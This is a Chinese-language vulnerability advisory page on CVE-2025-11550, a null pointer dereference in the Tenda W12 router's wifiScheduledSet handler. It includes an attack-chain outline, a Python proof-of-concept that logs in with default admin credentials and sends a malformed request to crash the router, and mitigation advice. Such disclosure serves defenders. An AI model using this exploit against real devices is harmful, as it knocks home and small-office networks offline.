IPBUF安全漏洞报告
English
CVE-2025-11550 CVSS 6.5 中危

CVE-2025-11550:Tenda W12路由器wifiScheduledSet空指针解引用漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11550
漏洞类型
空指针解引用(Null Pointer Dereference)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda W12 路由器

相关标签

空指针解引用拒绝服务Tenda W12路由器IoT设备HTTP请求处理CVE-2025-11550中危漏洞固件漏洞

漏洞概述

CVE-2025-11550是存在于Tenda W12路由器固件版本3.0.0.6(3948)中的一个空指针解引用漏洞。该漏洞位于HTTP请求处理组件的/goform/modules路径下的wifiScheduledSet函数中。攻击者可以通过远程网络发送特制的HTTP请求,操纵wifiScheduledSet参数,导致程序在处理过程中触发空指针解引用错误,从而使设备崩溃或重启,造成拒绝服务(DoS)攻击。

该漏洞的CVSS 3.1评分为6.5分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。从影响维度来看,该漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响较高(A:H),主要后果是导致设备服务不可用。

目前该漏洞的利用代码已经公开披露,攻击者可以相对容易地利用此漏洞对受影响设备发起攻击。Tenda W12是一款面向家庭和小型办公环境的无线路由器,广泛应用于全球市场,因此该漏洞的影响范围可能较大。建议相关用户尽快关注厂商发布的补丁信息,并采取相应的防护措施。

技术细节

该漏洞的根本原因在于Tenda W12路由器固件中wifiScheduledSet函数对输入参数的处理不当。当攻击者通过HTTP请求向/goform/modules端点发送包含恶意wifiScheduledSet参数的请求时,函数内部未能对参数进行充分的合法性校验。

具体而言,wifiScheduledSet函数负责处理WiFi定时设置相关的功能,它在解析用户提交的参数时,可能在某些条件下尝试访问一个未被正确初始化或为NULL的指针对象。例如,当传入的参数值不符合预期格式或缺失关键字段时,函数可能直接对NULL指针进行解引用操作,从而触发操作系统级别的段错误(Segmentation Fault),导致相关进程异常终止。

由于该漏洞位于HTTP请求处理组件中,攻击者无需物理接触设备,仅需通过网络发送特制的HTTP请求即可触发。攻击所需的权限较低,意味着已通过某种方式获得路由器访问权限(如默认凭据或已知的弱口令)的攻击者可以轻松利用此漏洞。漏洞触发后,设备的HTTP服务进程将崩溃,导致路由器管理界面无法访问,同时可能影响正常的网络转发功能,造成拒绝服务。

值得注意的是,该漏洞的PoC代码已在GitHub上公开(z472421519/BinaryAudit仓库),攻击者可以直接利用现成的利用工具发起攻击,这大大增加了漏洞被实际利用的风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描网络发现目标Tenda W12路由器,识别固件版本是否为3.0.0.6(3948),确认目标设备存在漏洞。
STEP 2
步骤2:获取访问权限
攻击者利用默认凭据、弱口令或已知的认证漏洞获取路由器的低权限访问权限(PR:L)。
STEP 3
步骤3:构造恶意请求
攻击者构造包含恶意wifiScheduledSet参数的HTTP POST请求,发送到/goform/modules端点。
STEP 4
步骤4:触发空指针解引用
目标设备的wifiScheduledSet函数在处理恶意参数时尝试解引用NULL指针,导致段错误,进程崩溃。
STEP 5
步骤5:拒绝服务
设备的HTTP服务进程异常终止,路由器管理界面不可用,网络服务中断,实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11550 PoC - Tenda W12 Null Pointer Dereference # Vulnerability: Null Pointer Dereference in wifiScheduledSet function # Affected: Tenda W12 3.0.0.6(3948) # File: /goform/modules import requests # Target device configuration TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/modules" # Authentication credentials (low privilege required) # Use default or known credentials USERNAME = "admin" PASSWORD = "admin" def exploit(): """ Trigger null pointer dereference by sending crafted wifiScheduledSet parameter. The manipulation of the wifiScheduledSet argument causes the device to crash. """ session = requests.Session() # Step 1: Login to the router (low privilege access) login_url = f"http://{TARGET_IP}:{TARGET_PORT}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } try: session.post(login_url, data=login_data, timeout=5) except Exception as e: print(f"Login attempt: {e}") # Step 2: Send crafted request to trigger null pointer dereference # The wifiScheduledSet parameter is manipulated to cause NULL dereference payload = { "module": "wifi", "wifiScheduledSet": "" # Empty or malformed value triggers the bug } try: response = session.post( TARGET_URL, data=payload, timeout=10, headers={"Content-Type": "application/x-www-form-urlencoded"} ) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (device may have crashed): {e}") print("Exploit successful - device likely crashed due to NULL pointer dereference") if __name__ == "__main__": exploit()

影响范围

Tenda W12 3.0.0.6(3948)

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议用户立即修改路由器默认登录凭据为强密码,限制管理界面的网络访问范围(仅允许内网或特定IP访问),关闭远程管理功能,并在网络层面部署访问控制策略,过滤对/goform/modules等管理接口的异常请求。同时建议监控设备的运行状态,及时发现并应对可能的拒绝服务攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表